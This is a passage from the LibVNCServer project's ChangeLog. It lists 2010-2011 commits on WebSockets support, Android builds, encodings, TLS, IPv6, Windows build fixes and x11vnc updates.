1788	Add UTF-8 encoding support.  This is not completely standard UTF-8 encoding. Only code points
1789	0-255 are encoded and never encoded to more than two octets. Since
1790	'\x00' is a WebSockets framing character, it's easier for all
1791	parties to encode zero as '\xc4\x80', i.e. 194+128, i.e. UTF-8 256.  This means that a random stream will be slightly more than 50%
1792	larger using this encoding scheme. But it's easy CPU-wise for client
1793	and server to decode/encode. This is especially important for
1794	clients written in languages that have weak bitops, like Javascript
1795	(i.e. the noVNC client).  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1796
17972011-08-16  Joel Martin <github@martintribe.org>
1798
1799	* libvncserver/rfbserver.c: websockets: Better disconnect detection.  If the only thing we are waiting on is a WebSockets terminator, then
1800	remove it from the stream early on in rfbProcessClientNormalMessage.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1801
18022011-08-16  Joel Martin <github@martintribe.org>
1803
1804	* configure.ac, libvncserver/Makefile.am, libvncserver/md5.c,
1805	libvncserver/md5.h, libvncserver/rfbserver.c,
1806	libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h: 
1807	websockets: Initial WebSockets support.  Has a bug: WebSocket client disconnects are not detected.
1808	rfbSendFramebufferUpdate is doing a MSG_PEEK recv to determine if
1809	enough data is available which prevents a disconnect from being
1810	detected.  Otherwise it's working pretty well.  [jes: moved added struct members to the end for binary compatibility
1811	with previous LibVNCServer versions, removed an unused variable] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1812
18132011-08-17  Johannes Schindelin <johannes.schindelin@gmx.de>
1814
1815	* .gitignore: .gitignore: zippy has moved Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1816
18172011-07-25  Christian Beier <dontmind@freeshell.org>
1818
1819	* examples/android/README: Add installation hints to android example
1820	README.
1821
18222011-07-22  William Roberts <wroberts@sta.samsung.com>
1823
1824	* examples/android/jni/fbvncserver.c: Reduced memory footprint by
1825	50%
1826
18272011-07-22  William Roberts <wroberts@sta.samsung.com>
1828
1829	* examples/android/jni/fbvncserver.c: Corrected resolution issue,
1830	but screen is getting reported as wrong size
1831
18322011-07-23  ckanru <ckanru@code.google.com>
1833
1834	* examples/android/jni/fbvncserver.c: Fixes running vncserver on
1835	beagleboard/0xdroid and possibly any device without a touch screen.
1836	Because fake touch screen always report zero when query device
1837	information, coordinates transformation is not needed.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
1838
18392011-07-23  Christian Beier <dontmind@freeshell.org>
1840
1841	* configure.ac, examples/Makefile.am, examples/android/Makefile.am,
1842	rfb/rfb.h, vncterm/Makefile.am: Adopt autotools build system to
1843	Android.  LibVNCServer/LibVNCClient now build for Android!
1844
18452011-07-23  Christian Beier <dontmind@freeshell.org>
1846
1847	* examples/android/README, examples/android/jni/Android.mk,
1848	examples/android/jni/fbvncserver.c: Add androidvncserver example.
1849
18502011-07-22  letsgoustc <letsgoustc@gmail.com>
1851
1852	* rfb/rfb.h: Make LibVNCServer build for Android.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
1853
18542011-07-19  Joel Martin <github@martintribe.org>
1855
1856	* libvncserver/tight.c: tightPng: check even for SendGradientRect.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
1857
18582011-07-19  Joel Martin <github@martintribe.org>
1859
1860	* CMakeLists.txt, configure.ac, libvncserver/Makefile.am,
1861	libvncserver/rfbserver.c, libvncserver/stats.c,
1862	libvncserver/tight.c, rfb/rfb.h, rfb/rfbconfig.h.cmake,
1863	rfb/rfbproto.h: tightPng: Add initial tightPng encoding support.  http://wiki.qemu.org/VNC_Tight_PNG Signed-off-by: Joel Martin <github@martintribe.org> Signed-off-by:
1864	Christian Beier <dontmind@freeshell.org>
1865
18662011-06-01  Christian Beier <dontmind@freeshell.org>
1867
1868	* libvncserver/main.c, libvncserver/sockets.c: Remove some unused
1869	variables.
1870
18712010-11-14  George Kiagiadakis <kiagiadakis.george@gmail.com>
1872
1873	* libvncserver/sockets.c, rfb/rfb.h: Fix rfbProcessNewConnection to
1874	return some value instead of void.  BUG: 256891 Signed-off-by: Christian Beier <dontmind@freeshell.org>
1875
18762010-11-10  George Kiagiadakis <kiagiadakis.george@gmail.com>
1877
1878	* libvncserver/main.c, libvncserver/sockets.c, rfb/rfb.h: Split two
1879	event-loop related functions out of the rfbProcessEvents()
1880	mechanism.  This is required to be able to do proper event loop integration with
1881	Qt.  Idea was taken from vino's libvncserver fork.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
1882
18832011-05-06  Cristian Rodríguez <crrodriguez@opensuse.org>
1884
1885	* libvncserver/tightvnc-filetransfer/filetransfermsg.c: Fix buffer
1886	overflow Signed-off-by: Cristian Rodríguez <crrodriguez@opensuse.org>
1887	Signed-off-by: Christian Beier <dontmind@freeshell.org>
1888
18892011-04-30  Christian Beier <dontmind@freeshell.org>
1890
1891	* libvncserver/tight.c: Revert "Fix memory corruption bug." This reverts commit c1363fa9583ed41b94fbc79b3ff410b7d5189407.  The proper fix was already in
1892	804335f9d296440bb708ca844f5d89b58b50b0c6.
1893
18942011-04-28  Johannes Schindelin <johannes.schindelin@gmx.de>
1895
1896	* AUTHORS: UTF-8ify AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1897
18982011-04-28  Johannes Schindelin <johannes.schindelin@gmx.de>
1899
1900	* AUTHORS: Update AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1901
19022010-11-10  George Kiagiadakis <kiagiadakis.george@gmail.com>
1903
1904	* libvncserver/tight.c: Fix memory corruption bug.  This bug occured when a second telepathy tubes client was connected
1905	after the first one had disconnected and the channel (thus, the
1906	screen too) had been destroyed.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1907
19082010-11-10  George Kiagiadakis <kiagiadakis.george@gmail.com>
1909
1910	* common/zywrletemplate.c, libvncserver/auth.c,
1911	libvncserver/rfbserver.c, libvncserver/scale.c,
1912	libvncserver/scale.h, rfb/rfb.h: Fix compilation in c89 mode.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1913
19142011-04-27  Vic Lee <llyzs@163.com>
1915
1916	* libvncclient/tls.c: Replace deprecated GnuTLS functions
1917	gnutls_*_set_priority with gnutls_priority_set_direct.  The functions gnutls_*_set_priority we used were marked deprecated
1918	since latest GnuTLS version 2.12. However the replacement function
1919	gnutls_priority_set_direct is available since 2.2, which is even
1920	lower than our version requirement 2.4 in configure. The patch just
1921	replace the deprecate function to fix the compile warning.  Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes
1922	Schindelin <johannes.schindelin@gmx.de>
1923
19242011-03-30  Christian Beier <dontmind@freeshell.org>
1925
1926	* ChangeLog: Update ChangeLog for 0.9.8.
1927
19282011-03-29  Christian Beier <dontmind@freeshell.org>
1929
1930	* README: Remove RDP from the README description.  We do VNC but no RDP. Pointed out by Vic Lee, thanks!
1931
19322011-03-29  Christian Beier <dontmind@freeshell.org>
1933
1934	* utils/git2cl.pl: Fix skipping of merge commits in log convert
1935	script.
1936
19372011-03-29  Christian Beier <dontmind@freeshell.org>
1938
1939	* bdf2c.pl, consolefont2c.pl, utils/bdf2c.pl,
1940	utils/consolefont2c.pl, utils/git2cl.pl: Add a git-log to GNU-Style
1941	ChangeLog converter script.  Also put all helper scripts into a utils directory.
1942
19432011-03-28  Christian Beier <dontmind@freeshell.org>
1944
1945	* NEWS: Mention the pkg-config stuff in NEWS.
1946
19472011-03-27  Vic Lee <llyzs@163.com>
1948
1949	* .gitignore, Makefile.am, configure.ac, libvncclient.pc.in,
1950	libvncserver.pc.in: Add libvncserver.pc and libvncclient.pc files.  Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Christian
1951	Beier <dontmind@freeshell.org>
1952
19532011-03-17  Christian Beier <dontmind@freeshell.org>
1954
1955	* libvncclient/ultra.c, libvncserver/ultra.c: Fix regression in
1956	Ultra encoding introduced by commit
1957	fe1ca16e9b75b5f38ab374c8dfff92d2c3ea4532.  My bad. There we see what the encodings test is good for ;-)
1958
19592011-03-17  Christian Beier <dontmind@freeshell.org>
1960
1961	* test/encodingstest.c: Update encodingstest.  * Fixed segfault on shutdown.  * Updated to test all encodings.  * Fixed to operate with encodings that split up rects into   smaller rects.
1962
19632011-03-17  Christian Beier <dontmind@freeshell.org>
1964
1965	* libvncclient/rfbproto.c: Remove useless comparisons that always
1966	evaluate to false.  There can not be more than 255 security types and MSLogon is RFB 3.6
1967	only.
1968
19692011-03-17  Christian Beier <dontmind@freeshell.org>
1970
1971	* examples/rotate.c, examples/rotatetemplate.c, examples/vncev.c,
1972	libvncclient/listen.c, libvncclient/rfbproto.c,
1973	libvncclient/ultra.c, libvncclient/zrle.c,
1974	libvncserver/rfbserver.c, libvncserver/ultra.c: Fix (most) MinGW32
1975	compiler warnings.
1976
19772011-03-17  Christian Beier <dontmind@freeshell.org>
1978
1979	* examples/rotate.c, examples/zippy.c, libvncserver/zrle.c,
1980	libvncserver/zrleencodetemplate.c: Fix remaining compiler warnings.
1981
19822011-03-17  Christian Beier <dontmind@freeshell.org>
1983
1984	* VisualNaCro/nacro.c, examples/backchannel.c, examples/camera.c,
1985	examples/colourmaptest.c, examples/example.c,
1986	examples/filetransfer.c, examples/fontsel.c, examples/mac.c,
1987	examples/pnmshow.c, examples/pnmshow24.c, examples/simple.c,
1988	examples/simple15.c, examples/vncev.c, examples/zippy.c,
1989	test/cargstest.c, test/copyrecttest.c, test/cursortest.c,
1990	test/encodingstest.c: Check rfbGetScreen() return value everywhere.  This fixes a segfault when a server is invoked with the '-help'
1991	commandline argument.
1992
19932011-03-12  Christian Beier <dontmind@freeshell.org>
1994
1995	* CMakeLists.txt, rfb/rfbconfig.h.cmake: CMake: Check for libgcrypt
1996	availability.
1997
19982011-03-12  Christian Beier <dontmind@freeshell.org>
1999
2000	* CMakeLists.txt: CMake: Threads can be available even if SDL is
2001	not.
2002
20032011-03-12  Christian Beier <dontmind@freeshell.org>
2004
2005	* CMakeLists.txt: CMake: fix building SDLvncviewer.
2006
20072011-03-12  Christian Beier <dontmind@freeshell.org>
2008
2009	* Makefile.am: Include cmake configure file templates in dist
2010	tarball.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2011
20122011-03-12  Christian Beier <dontmind@freeshell.org>
2013
2014	* rfb/rfbconfig.h.in, rfb/stamp-h.in: Remove autogenerated files.
2015
20162011-03-12  Christian Beier <dontmind@freeshell.org>
2017
2018	* NEWS: Update NEWS for 0.9.8 release.
2019
20202011-03-07  Christian Beier <dontmind@freeshell.org>
2021
2022	* libvncclient/tls.c: Fix libvncclient TLS for Windows builds.  GnuTLS seems to expect proper errno values internally. So set them
2023	in our custom push/pull functions. Parts of the patch stolen from
2024	libcurl, thanks! Signed-off-by: Christian Beier <dontmind@freeshell.org>
2025
20262011-03-07  Christian Beier <dontmind@freeshell.org>
2027
2028	* libvncclient/rfbproto.c: Let libvncclient build with gcrypt for
2029	MinGW32 builds.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2030
20312011-03-07  Vic Lee <llyzs@163.com>
2032
2033	* libvncclient/sockets.c: Use WaitForMessage instead of sleep in
2034	socket reading to fix performance issue.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2035
20362011-03-10  Christian Beier <dontmind@freeshell.org>
2037
2038	* common/d3des.c, common/d3des.h, libvncserver/auth.c,
2039	libvncserver/corre.c, libvncserver/cutpaste.c, libvncserver/draw.c,
2040	libvncserver/font.c, libvncserver/hextile.c, libvncserver/httpd.c,
2041	libvncserver/rfbregion.c, libvncserver/rre.c,
2042	libvncserver/selbox.c, libvncserver/sockets.c,
2043	libvncserver/stats.c, libvncserver/tableinit24.c,
2044	libvncserver/tableinitcmtemplate.c,
2045	libvncserver/tableinittctemplate.c,
2046	libvncserver/tabletrans24template.c,
2047	libvncserver/tabletranstemplate.c, libvncserver/translate.c,
2048	libvncserver/zrletypes.h, rfb/rfbregion.h, test/blooptest.c,
2049	test/cursortest.c: Set proper file permissions for source files.
2050
20512011-03-10  Christian Beier <dontmind@freeshell.org>
2052
2053	* CMakeLists.txt, configure.ac: Next version will be 0.9.8.
2054
20552011-03-10  Christian Beier <dontmind@freeshell.org>
2056
2057	* Makefile.am, configure.ac, contrib/Makefile.am, contrib/zippy.c,
2058	examples/Makefile.am, examples/zippy.c: Move zippy.c to examples.
2059
20602011-03-03  Christian Beier <dontmind@freeshell.org>
2061
2062	* libvncclient/sockets.c, libvncclient/tls.c, libvncserver/httpd.c,
2063	libvncserver/rfbserver.c, libvncserver/sockets.c: Call
2064	WSAGetLastError() everywhere errno is read after a Winsock call.  Winsock does NOT update errno for us, we have fetch the last error
2065	manually using WSAGetLastError().
2066
20672011-01-29  Christian Beier <dontmind@freeshell.org>
2068
2069	* common/lzoconf.h, common/lzodefs.h, common/minilzo.c,
2070	common/minilzo.h, libvncclient/Makefile.am,
2071	libvncserver/Makefile.am: Update minilzo library used for Ultra
2072	encoding to ver 2.04.  According to the minilzo README, this brings a significant speedup
2073	on 64-bit architechtures.  Changes compared to old version 1.08 can be found here:
2074	http://www.oberhumer.com/opensource/lzo/lzonews.php Signed-off-by: Christian Beier <dontmind@freeshell.org>
2075
20762011-01-24  Christian Beier <dontmind@freeshell.org>
2077
2078	* libvncserver/corre.c, libvncserver/main.c,
2079	libvncserver/private.h, libvncserver/rfbserver.c,
2080	libvncserver/rre.c, libvncserver/ultra.c, rfb/rfb.h: libvncserver:
2081	Make RRE, CoRRE and Ultra encodings thread-safe.  This adds generic before/after encoding buffers to the rfbClient
2082	struct, so there is no need for thread local storage.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2083
20842011-02-02  Christian Beier <dontmind@freeshell.org>
2085
2086	* Makefile.am: Include CMakeLists.txt file in dist tarball.
2087
20882011-01-29  Christian Beier <dontmind@freeshell.org>
2089
2090	* .cvsignore, README.cvs, VisualNaCro/.cvsignore,
2091	classes/.cvsignore, client_examples/.cvsignore, contrib/.cvsignore,
2092	cvs_update_anonymously, examples/.cvsignore,
2093	libvncclient/.cvsignore, libvncserver/.cvsignore,
2094	libvncserver/tightvnc-filetransfer/.cvsignore, rfb/.cvsignore,
2095	test/.cvsignore, vncterm/.cvsignore: Remove unneeded files
2096	concerning CVS.  We have a git repo nowadays and I guess we won't go back to CVS.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2097
20982011-01-31  Johannes Schindelin <johannes.schindelin@gmx.de>
2099
2100	* examples/example.dsp, libvncserver.dsp, libvncserver.dsw: Remove
2101	completely broken Visual Studio project files If people seriously consider building with Visual Studio, there is
2102	always CMake.  Pointed out by Christian Beier.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2103
21042011-01-31  Christian Beier <dontmind@freeshell.org>
2105
2106	* client_examples/Makefile.am, client_examples/SDLvncviewer.c: 
2107	SDLvncviewer: fix compilation from dist tarball.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2108	Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2109
21102011-01-21  Vic Lee <llyzs@163.com>
2111
2112	* acinclude.m4, configure.ac, libvncclient/rfbproto.c,
2113	rfb/rfbproto.h: Add ARD (Apple Remote Desktop) security type support Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Christian
2114	Beier <dontmind@freeshell.org>
2115
21162011-01-25  Christian Beier <dontmind@freeshell.org>
2117
2118	* CMakeLists.txt, common/d3des.c, common/d3des.h, common/lzoconf.h,
2119	common/minilzo.c, common/minilzo.h, common/vncauth.c,
2120	common/zywrletemplate.c, libvncclient/Makefile.am,
2121	libvncclient/lzoconf.h, libvncclient/minilzo.c,
2122	libvncclient/minilzo.h, libvncclient/rfbproto.c,
2123	libvncclient/zrle.c, libvncserver/Makefile.am,
2124	libvncserver/d3des.c, libvncserver/d3des.h, libvncserver/lzoconf.h,
2125	libvncserver/minilzo.c, libvncserver/minilzo.h,
2126	libvncserver/vncauth.c, libvncserver/zywrletemplate.c: Put files
2127	used by both libs into a 'common' dir.  No functional changes. All files used by _both_ libvncserver and
2128	libvncclient are put into a 'common' directory and references from
2129	other files as well as Autotools and CMake build systems are
2130	updated.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2131
21322011-01-20  ebola_rulez <ebola_rulez@users.sourceforge.net>
2133
2134	* libvncserver/vncauth.c: Fix two errors found by cppcheck Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Christian
2135	Beier <dontmind@freeshell.org>
2136
21372011-01-01  runge <runge@karlrunge.com>
2138
2139	* libvncserver/rfbserver.c: Remove never used protocol version name
2140	string.
2141
21422010-12-29  runge <runge@karlrunge.com>
2143
2144	* configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am,
2145	x11vnc/README, x11vnc/avahi.c, x11vnc/cleanup.c,
2146	x11vnc/connections.c, x11vnc/connections.h, x11vnc/help.c,
2147	x11vnc/inet.c, x11vnc/inet.h, x11vnc/macosx.c, x11vnc/macosxCG.c,
2148	x11vnc/macosxCG.h, x11vnc/macosx_opengl.c, x11vnc/macosx_opengl.h,
2149	x11vnc/options.c, x11vnc/options.h, x11vnc/rates.c,
2150	x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/util.c, x11vnc/x11vnc.1,
2151	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
2152	x11vnc/xwrappers.c: x11vnc: Use opengl to read screen on macosx.
2153	non-deprecated macosx interfaces for input injection.
2154
21552010-12-21  runge <runge@karlrunge.com>
2156
2157	* configure.ac, prepare_x11vnc_dist.sh, x11vnc/README,
2158	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: force
2159	--with-system-libvncserver to use correct headers.
2160
21612010-12-21  runge <runge@karlrunge.com>
2162
2163	* classes/ssl/ss_vncviewer,
2164	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab
2165	-traversal.patch,
2166	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
2167	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
2168	prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog,
2169	x11vnc/Makefile.am, x11vnc/README, x11vnc/RELEASE-NOTES,
2170	x11vnc/appshare.c, x11vnc/cleanup.c, x11vnc/gui.c, x11vnc/help.c,
2171	x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/linuxfb.c,
2172	x11vnc/macosx.c, x11vnc/macosxCG.c, x11vnc/misc/Makefile.am,
2173	x11vnc/misc/README, x11vnc/misc/qt_tslib_inject.pl,
2174	x11vnc/misc/uinput.pl, x11vnc/pointer.c, x11vnc/remote.c,
2175	x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslhelper.c,
2176	x11vnc/ssltools.h, x11vnc/uinput.c, x11vnc/uinput.h,
2177	x11vnc/unixpw.c, x11vnc/user.c, x11vnc/util.h, x11vnc/v4l.c,
2178	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
2179	x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h,
2180	x11vnc/xrecord.c, x11vnc/xrecord.h, x11vnc/xwrappers.c: x11vnc:
2181	touchscreen uinput support and Java viewer mousewheel support.  See
2182	x11vnc/ChangeLog for rest.
2183
21842010-12-01  Tobias Doerffel <tobias.doerffel@gmail.com>
2185
2186	* libvncserver/sockets.c: libvncserver sockets: check cl->screen
2187	before accessing it In commit 079394ca5b14d8067b95a9cf95a834828b4425a6 new code with
2188	insufficient checks was introduced causing a segfault when doing a
2189	HTTP server connection. Such connections have no screen set in the
2190	client data structure.  Signed-off-by: Tobias Doerffel <tobias.doerffel@gmail.com>
2191
21922010-11-30  Christian Beier <dontmind@freeshell.org>
2193
2194	* Doxyfile: Doxygen documentation: actually add Doxyfile.
2195
21962010-11-29  Johannes Schindelin <johannes.schindelin@gmx.de>
2197
2198	* index.html, success.html: The website is now maintained
2199	independently Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2200
22012010-11-18  Christian Beier <dontmind@freeshell.org>
2202
2203	* client_examples/SDLvncviewer.c, client_examples/backchannel.c,
2204	client_examples/ppmtest.c, client_examples/vnc2mpg.c,
2205	examples/backchannel.c, examples/camera.c, examples/example.c,
2206	examples/filetransfer.c, examples/pnmshow.c, examples/pnmshow24.c,
2207	examples/vncev.c, rfb/rfb.h, rfb/rfbclient.h, rfb/rfbproto.h: Add
2208	doxygen documentation support.      Adds automagically generating libvncserver/libvncclient API     documentation using doxygen. This gives a nice overview on both
2209	    APIs, include dependencies and function call/caller
2210	dependencies.      TODO: Modify all the explaining comments in the .c files for use
2211	          with doxygen as well.      This patch only changes comments, no functional changes at all! Signed-off-by: Christian Beier <dontmind@freeshell.org>
2212
22132010-11-18  Christian Beier <dontmind@freeshell.org>
2214
2215	* libvncserver/main.c: libvncserver: fix endless loop when server
2216	closed client in threaded mode.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2217
22182010-11-18  Christian Beier <dontmind@freeshell.org>
2219
2220	* libvncserver/sockets.c: libvncserver sockets: favor per-screen
2221	maxclientwait over global one when set.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2222
22232010-11-11  Christian Beier <dontmind@freeshell.org>
2224
2225	* libvncserver/rfbserver.c, libvncserver/stats.c, rfb/rfbproto.h: 
2226	libvncserver cleanup: remove rfbKeyFrame remnants.
2227
22282010-11-02  Christian Beier <dontmind@freeshell.org>
2229
2230	* libvncclient/rfbproto.c, libvncserver/main.c,
2231	libvncserver/rfbserver.c, libvncserver/stats.c, rfb/rfb.h,
2232	rfb/rfbclient.h, rfb/rfbproto.h: libvnc[server|client]: implement
2233	xvp VNC extension.  This implements the xvp VNC extension, which is described in the
2234	community version of the RFB protocol:
2235	http://tigervnc.sourceforge.net/cgi-bin/rfbproto It is also
2236	mentioned in the official RFB protocol.
2237
22382010-10-28  Tobias Doerffel <tobias.doerffel@gmail.com>
2239
2240	* libvncserver/main.c: Added missing initialization of extension
2241	mutex When not calling rfbRegisterProtocolExtension() the extension mutex
2242	is uninitialized but used upon calling rfbGetExtensionIterator() and
2243	rfbReleaseExtensionIterator() in rfbNewTCPOrUDPClient(). This causes
2244	libvncserver to crash on Win32 when building with thread support.  Signed-off-by: Tobias Doerffel <tobias.doerffel@gmail.com>
2245	Signed-off-by: Christian Beier <dontmind@freeshell.org>
2246
22472010-10-21  Christian Beier <dontmind@freeshell.org>
2248
2249	* libvncclient/rfbproto.c, rfb/rfbproto.h: Only define strncasecmp
2250	to _strnicmp when using MS compiler.  Redefining strncasecmp to _strnicmp makes libvncclient hang forever
2251	in SetFormatAndEncodings() on Windows when built with MinGW64.  Reported by Tobias Doerffel <tobias.doerffel@gmail.com>, thanks!
2252
22532010-10-20  Tobias Doerffel <tobias.doerffel@gmail.com>
2254
2255	* libvncserver/rfbserver.c: In rfbSendDirContent() we have to make
2256	sure to call closedir() before returning. This did not happen if
2257	rfbSendFileTransferMessage() failed.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2258
22592010-10-20  Christian Beier <dontmind@freeshell.org>
2260
2261	* libvncclient/sockets.c: Fix build failure wrt IP QoS support in
2262	libvncclient.  This is a small addendum to
2263	0797e42a4aaf8131ae71899faea2d682ed81cb59.  Seems that having IPv6
2264	support in the OS does not necessarily mean that IPV6_TCLASS is
2265	available. One such case seems to be Mac OS X 10.5.
2266
22672010-02-09  Vic Lee <llyzs@163.com>
2268
2269	* libvncclient/sockets.c: Avoid 100% CPU usage when calling
2270	ReadFromRFBServer and no available bytes to read Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Christian
2271	Beier <dontmind@freeshell.org>
2272
22732010-10-08  Christian Beier <dontmind@freeshell.org>
2274
2275	* rfb/rfbproto.h: rfb/rfbproto.h: Prefix WORDS_BIGENDIAN when it is
2276	defined.  Some (all?) autotool versions do not properly prefix WORDS_BIGENDIAN
2277	with LIBVNCSERVER_, so do that manually here.  Thanks to Lorenz Kolb for reporting.
2278
22792010-09-29  Christian Beier <dontmind@freeshell.org>
2280
2281	* TODO, libvncclient/rfbproto.c, libvncclient/sockets.c,
2282	libvncclient/vncviewer.c, rfb/rfbclient.h: IP QoS support in
2283	libvncclient.  This enables setting the DSCP/Traffic Class field of IP/IPv6 packets
2284	sent by a client. For example starting a client with -qosdscp 184
2285	marks all outgoing traffic for expedited forwarding.  Implementation for Win32 is still a TODO, though. See
2286
2287	http://betelco.blogspot.com/2009/03/dscp-marking-under-windows-at.htmlfor an overview of the Win32 QoS API mess...
2288
22892010-09-07  Christian Beier <dontmind@freeshell.org>
2290
2291	* TODO, libvncclient/sockets.c, libvncserver/httpd.c,
2292	libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h: 
2293	Non-blocking sockets for Windows.  Expands the SetNonBlocking() function in libvncclient/sockets.c to
2294	also work under Windows and also changes it to honour maybe already
2295	present socket flags.  A similar function was introduced for libvncserver as well and all
2296	the #ifdef'ed fnctl calls replaced with calls to that one.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2297
22982010-09-06  Christian Beier <dontmind@freeshell.org>
2299
2300	* libvncserver/main.c, libvncserver/rfbserver.c,
2301	libvncserver/scale.c: Cleanup: remove CORBA stuff.  The header file and most of the functions referred to do not exist
2302	in libvncserver.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2303
23042010-09-10  runge <runge@karlrunge.com>
2305
2306	* classes/ssl/ss_vncviewer,
2307	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
2308	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: update
2309	classes/ssl jars, patches, and script
2310
23112010-09-10  runge <runge@karlrunge.com>
2312
2313	* prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog,
2314	x11vnc/Makefile.am, x11vnc/README, x11vnc/avahi.c, x11vnc/avahi.h,
2315	x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/help.c,
2316	x11vnc/inet.c, x11vnc/keyboard.c, x11vnc/misc/ultravnc_repeater.pl,
2317	x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c,
2318	x11vnc/pointer.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
2319	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc,
2320	x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c,
2321	x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
2322	x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xwrappers.c: update
2323	to x11vnc 0.9.12
2324
23252010-09-06  Christian Beier <dontmind@freeshell.org>
2326
2327	* libvncclient/rfbproto.c, libvncserver/tight.c: Fix MinGW32
2328	compilation with libjpeg.  MinGW32 (or more exactly, a rpcndr.h file included by winsock2.h)
2329	typedefs a 'boolean' type that jmorecfg.h included by jpeglib.h also
2330	tries to typedef.  So, tell the jpeg headers.  Closes: 3007302
2331
23322010-07-11  Christian Beier <dontmind@freeshell.org>
2333
2334	* configure.ac, libvncclient/sockets.c: Fix MinGW32 checking for
2335	IPv6.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2336	Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2337
23382010-06-29  Vic Lee <llyzs@163.com>
2339
2340	* configure.ac, libvncclient/rfbproto.c, libvncclient/sockets.c,
2341	rfb/rfbclient.h: libvncclient: add ipv6 support [jes: pulled the "host" declarations into the conditionally compiled
2342	blocks where that variable is used. Also fixed non-IPv6
2343	connections.] Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes
2344	Schindelin <johannes.schindelin@gmx.de>
2345
23462010-05-31  Wouter Van Meir <wouter.vanmeir@pandora.be>
2347
2348	* libvncclient/vncviewer.c: Call MallocFrameBuffer before
2349	SetFormatAndEncodings The hook is still called after InitialiseRFBConnection() so we can
2350	choose the color settings depending on the vnc server (or settings)
2351	in that hook.  This way one can use the "VNC server default format" pixelformat if
2352	the client supports it, or perform a workaround (Intel AMT KVM
2353	"classic vnc" server only works using 8bit colors in RFB3.8) Signed-off-by: Wouter Van Meir <wouter.vanmeir@pandora.be>
2354	Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2355
23562010-05-19  Christian Beier <dontmind@freeshell.org>
2357
2358	* libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h: 
2359	Implement a DisplayFinishedHook for libvncserver.  If set, this hook gets called just before rfbSendFrameBufferUpdate()
2360	returns.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
2361
23622010-05-08  runge <runge@karlrunge.com>
2363
2364	* ChangeLog, libvncclient/rfbproto.c: libvncclient:
2365	rfbResizeFrameBuffer should also set updateRect.
2366
23672010-05-08  runge <runge@karlrunge.com>
2368
2369	* prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
2370	x11vnc/connections.c, x11vnc/screen.c, x11vnc/unixpw.c,
2371	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: tweaks to
2372	prepare_x11vnc_dist.sh. set cd->unixname in apply_opts().
2373
23742010-05-07  Johannes Schindelin <johannes.schindelin@gmx.de>
2375
2376	* AUTHORS: Complete the AUTHORS file Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2377
23782010-05-07  Wouter Van Meir <wouter.vanmeir@pandora.be>
2379
2380	* CMakeLists.txt: fix CMakeLists.txt: other way to find pthread
2381	library ... and fixed linking of the tests in the examples directory.  Signed-off-by: Wouter Van Meir <wouter.vanmeir@pandora.be>
